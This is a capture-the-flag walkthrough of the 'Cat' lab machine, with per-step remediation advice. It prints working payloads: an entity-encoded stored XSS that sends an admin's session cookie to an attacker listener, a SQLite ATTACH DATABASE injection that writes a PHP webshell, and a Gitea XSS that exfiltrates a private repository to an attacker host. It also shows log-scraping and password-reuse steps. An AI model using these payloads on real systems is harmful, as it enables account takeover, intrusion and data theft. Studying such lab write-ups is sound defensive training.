← all walkthroughs

Cat

Linux· Medium· Web
owned
2026-09-03
time to own
31m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered an exposed .git directory on the cat.htb web application, recovering the full PHP source for a cat-adoption site. Reading the source revealed a two-stage web exploit: a second-order stored XSS in the cat-submission form that stole the administrator's session cookie when reviewed on /admin.php, and a SQL injection in the cat-approval endpoint that let me abuse SQLite's ATTACH DATABASE feature to plant a PHP webshell in the web root, gaining code execution as www-data. From there, MD5 password hashes recovered from the application's SQLite database were cracked to obtain a valid SSH credential for the user rosa, whose adm-group membership exposed Apache access logs containing a second user's (axel) password in cleartext because the login form submitted credentials via GET.

With axel's SSH access, the user flag was captured, and an internal Gitea instance and local SMTP relay reachable only from the box were pivoted to: a stored XSS in Gitea (CVE-2024-6886) was planted in a repository description and triggered by emailing the Gitea admin, exfiltrating a private repository that contained a hardcoded administrator password. That password was reused for the box's root account, giving full root access.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceExposed .git directory / source disclosure
Recovered the full application source from an exposed .git directory
A port scan found only SSH and a web server, which redirected to the virtual host cat.htb. Probing the site found its .git directory still deployed and web-accessible, allowing the entire PHP source tree (including accept_cat.php, join.php, admin.php, and view_cat.php) to be dumped and read, mapping the whole application logic and its two web flaws.
Target vhost cat.htb identified from Apache 2.4.41 (Ubuntu) redirect; custom PHP application (accept_cat.php, join.php) referenced throughout the engagement.
Exact commands 3
Resolve the discovered virtual host locally.
echo "$TARGET cat.htb" | sudo tee -a /etc/hosts
Confirm the .git directory is web-exposed.
nmap -sV -p22,80 --script http-git $TARGET
Recover the full PHP source tree for offline review.
git-dumper http://cat.htb/.git ./cat_src
FixRemove version control metadata from the production web rootHigh
WeaknessThe application's .git directory was deployed alongside the live site and was directly web-accessible, letting an unauthorised user download the entire PHP source tree and read the full application logic, including the flaws that were later exploited.
FixDeploy from a build artifact rather than a raw git checkout, or block access to dotfiles/.git at the web server (e.g. an Apache 'Require all denied' block for ^/\.git). Rotate any secrets that were present in the exposed history.
2FootholdSecond-order stored Cross-Site Scripting (CWE-79)
Stole the administrator's session cookie via second-order stored XSS
The cat-submission form's cat_name field was reflected unsanitized into an <img alt="..."> tag on the admin review page /admin.php. The application blocked characters like < > ( ) ' but not their HTML-entity equivalents, so an entity-encoded JavaScript payload decoded and executed only when the administrator loaded the pending-cat review page, sending the admin's PHPSESSID to my own listener.
Exact commands 2
Listener to catch the exfiltrated PHPSESSID cookie (run in background).
python3 -m http.server 8011
Submit the entity-encoded XSS payload via the cat submission form; the payload fires only when the admin later reviews it on /admin.php.
curl -sS -H 'Host: cat.htb' -X POST http://$TARGET/ --data-urlencode "cat_name=<img src=x onerror=&#x6e;&#x65;&#x77;&#x20;&#x49;&#x6d;&#x61;&#x67;&#x65;&#x28;&#x29;&#x2e;&#x73;&#x72;&#x63;&#x3d;&#x27;http://YOU:8011/?c=&#x27;&#x2b;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;>"
FixSanitize and encode all user-submitted content before rendering it to administratorsCritical
WeaknessThe cat-submission cat_name field was rendered unescaped into an admin-facing page, and the app's character blacklist could be bypassed with HTML entity encoding, allowing a stored XSS payload to run in the administrator's browser and steal their session cookie.
FixApply context-aware output encoding (e.g. htmlspecialchars() for HTML attribute contexts) instead of a character blacklist, mark session cookies HttpOnly and SameSite=Strict so they cannot be read or replayed by script, and add a Content-Security-Policy restricting script execution.
3ExploitationSQL injection via unsanitized string concatenation, abused with SQLite ATTACH DATABASE to achieve arbitrary file write (CWE-89)
Planted a PHP webshell via SQLite injection in the cat-approval endpoint
With the stolen admin PHPSESSID, /admin.php became reachable. Its approval action, /accept_cat.php, concatenated the submitted cat name directly into a raw SQLite INSERT statement. Using SQLite's ATTACH DATABASE syntax, a second database file named shell.php was created inside the web root and populated with a PHP one-liner; because SQLite's file header bytes are ignored by the PHP interpreter around a valid <?php ?> block, the resulting shell.php executed as a working webshell.
Curl to /shell.php?cmd=id returned 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'; response also contained raw SQLite 3.x file structure confirming the ATTACH DATABASE write.
Exact commands 2
Use the stolen admin session cookie to reach the injectable approval endpoint and write shell.php into the web root.
curl -sS -H 'Host: cat.htb' -b 'PHPSESSID=<stolen_admin_session>' --data-urlencode "catName=muffins'); ATTACH DATABASE './shell.php' AS db; CREATE TABLE db.pwn (x text); INSERT INTO db.pwn (x) VALUES (\"<?php system($_GET['cmd']); ?>\");-- -" http://$TARGET/accept_cat.php
Confirm code execution as www-data through the planted webshell.
curl -sS --max-time 15 -H 'Host: cat.htb' -D /tmp/shell_headers.txt -o /tmp/shell_body.bin "http://$TARGET/shell.php?cmd=id" && file /tmp/shell_body.bin && strings /tmp/shell_body.bin | tail -10
FixUse parameterized queries and remove SQLite ATTACH privileges from the applicationCritical
WeaknessThe cat-approval endpoint built a raw SQL statement by string concatenation, letting an unauthorised user inject SQLite ATTACH DATABASE / CREATE TABLE / INSERT statements that wrote an executable PHP webshell directly into the web root.
FixRewrite all database access to use parameterized/prepared statements (PDO with bound parameters), and run the SQLite connection under PRAGMA that disables ATTACH, or connect with a restricted permission set. Also disable PHP execution in any directory the application writes to.
4Credential AccessOffline password cracking of weak MD5 hashes (T1110.002)
Cracked an MD5 password hash recovered from the application database
The webshell was used to read the application's SQLite database, which stored user credentials as unsalted MD5 hashes, including one for the user rosa. The hash was cracked offline to recover rosa's plaintext password, which was then used over SSH to obtain an interactive shell as rosa.
App DB record rosa|[REDACTED: recovered credential]; SSH as rosa returned uid=1001(rosa) gid=1001(rosa) groups=1001(rosa),4(adm).
Exact commands 3
Exfiltrate the SQLite application database through the webshell.
curl -sS -H 'Host: cat.htb' "http://$TARGET/shell.php?cmd=cat+/var/www/html/databases/cat.db" -o cat.db
Crack rosa's MD5 hash; recovers '[REDACTED: recovered credential]'.
hashcat -m 0 $PASSWORD4 /usr/share/wordlists/rockyou.txt
Confirm SSH access as rosa.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 rosa@$TARGET id
FixHash stored passwords with a modern salted algorithmHigh
WeaknessUser passwords were stored as unsalted MD5 hashes in the application database, which are fast to brute-force offline; rosa's hash was cracked in minutes using a standard wordlist.
FixRehash all stored credentials using bcrypt, scrypt, or Argon2id (e.g. PHP's password_hash()/password_verify()), and force a password reset for all existing accounts.
5Lateral MovementSensitive data exposure via GET-based authentication logged to web server access logs (CWE-598)
Read a second user's cleartext password from Apache logs and captured user.txt
Rosa's account was a member of the adm group, granting read access to Apache's access logs. The application's login form (join.php) submitted the username and password as GET query parameters, so every login attempt was recorded in plaintext in the web server logs. Searching those logs surfaced axel's password, giving SSH access as axel and the user flag.
Access.log entry: GET /join.php?loginUsername=axel&loginPassword=[REDACTED: recovered credential]&loginForm=Login; SSH as axel returned uid=1000(axel) gid=1000(axel) groups=1000(axel).
Exact commands 2
Use rosa's adm-group log access to recover axel's cleartext password.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null rosa@$TARGET "grep -h 'loginUsername=axel' /var/log/apache2/access.log* | tail -3"
SSH as axel and read the user flag; replace with <user.txt> when reporting.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null axel@$TARGET 'cat /home/axel/user.txt'
FixStop submitting credentials via GET and restrict web log accessHigh
WeaknessThe login form (join.php) sent the username and password as URL query parameters, which web servers routinely log in plaintext; a low-privilege account in the adm group could then read those logs and recover another user's password.
FixChange the login form to submit credentials via POST body only, configure Apache to avoid logging sensitive query strings, and restrict adm-group membership to accounts that genuinely need log access.
6Privilege EscalationStored XSS via CVE-2024-6886 (Gitea repository description), delivered through unauthenticated local SMTP relay
Exfiltrated an admin-only Gitea secret via a stored XSS reachable only from localhost
An internal Gitea instance (v1.22.0) and a local Sendmail relay were listening on the box's loopback interface, reachable only after tunneling through the axel SSH session. Gitea 1.22.0 was vulnerable to CVE-2024-6886, an unsanitized stored XSS in a repository's description field. As axel, a repository was created with a javascript: link in its description that, when clicked, fetched the Gitea administrator's private repository and exfiltrated its contents. The link was delivered by emailing the Gitea admin (jobert) through the local Sendmail relay; when jobert opened it, the private repo's source was exfiltrated, revealing a hardcoded administrator password.
Gitea 1.22.0 confirmed at 127.0.0.1:3000 with axel able to create repos (repo id 7, axel/POC); Sendmail 8.15.2 on 127.0.0.1:25 accepted unauthenticated mail from axel@localhost to jobert@localhost.
Exact commands 3
Tunnel the internal Gitea and SMTP services to the $USERNAME host.
sshpass -p '$PASSWORD2' ssh -L 3000:localhost:3000 -L 2525:localhost:25 axel@$TARGET
Create a repo whose description holds the CVE-2024-6886 stored-XSS payload targeting the admin's private repo.
curl -s -u 'axel:$PASSWORD2' -X POST http://localhost:3000/api/v1/user/repos -H 'Content-Type: application/json' -d '{"name":"POC","description":"<a href=\"javascript:fetch(&#39;http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php&#39;).then(r=>r.text()).then(d=>fetch(&#39;http://YOU/?e=&#39;+btoa(d)));\">Click me!</a>"}'
Deliver the link to the Gitea admin via the open local SMTP relay so he views the malicious repo.
swaks --to jobert@localhost --from axel@localhost --header 'Subject: New project' --body 'http://localhost:3000/axel/POC' --server 127.0.0.1 -p 2525
FixPatch Gitea and restrict the internal SMTP relayCritical
WeaknessThe internal Gitea 1.22.0 instance was vulnerable to CVE-2024-6886 (unsanitized stored XSS in repository descriptions), and a local Sendmail relay accepted unauthenticated mail from any local user, letting a low-privilege account deliver a malicious link to the Gitea admin and exfiltrate a private repository.
FixUpgrade Gitea to a patched release (1.22.1+) that sanitizes repository description rendering, and require SMTP authentication (or restrict relay to specific local senders) on the internal mail service.
7Full CompromisePassword reuse across services (CWE-521 / T1078)
Reused the exfiltrated admin credential to obtain a root shell
The exfiltrated Employee-management repository source contained a hardcoded Gitea administrator password. That same password had been reused as the local root account's password on the box, so authenticating as axel over SSH and running su - with the recovered credential dropped directly into a root shell, confirmed with id and used to read root.txt.
Expect-driven su - as root returned a root shell (id uid=0); root.txt retrieved.
Exact commands 2
Decode the exfiltrated private repo file; contains hardcoded admin:[REDACTED: recovered credential].
echo <base64_exfiltrated_index.php> | base64 -d
SSH as axel, su to root with the reused password, confirm uid=0, and read <root.txt>.
expect -c 'set timeout 20; spawn ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null axel@$TARGET; expect "password:"; send "$PASSWORD2\r"; expect "$ "; send "su -\r"; expect "Password:"; send "$PASSWORD3\r"; expect "# "; send "id\r"; expect "# "; send "cat /root/root.txt\r"; expect "# "; send "exit\r"; expect "$ "; send "exit\r"; expect eof'
FixEliminate hardcoded credentials and password reuse across servicesCritical
WeaknessAn administrator password was hardcoded in a private Gitea repository's source and was also reused as the local Linux root account's password, so leaking the repo secret directly yielded root access.
FixRemove all hardcoded credentials from source and move them to a secrets manager or environment-injected config, and enforce unique passwords per account/service so no single leaked credential grants root.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp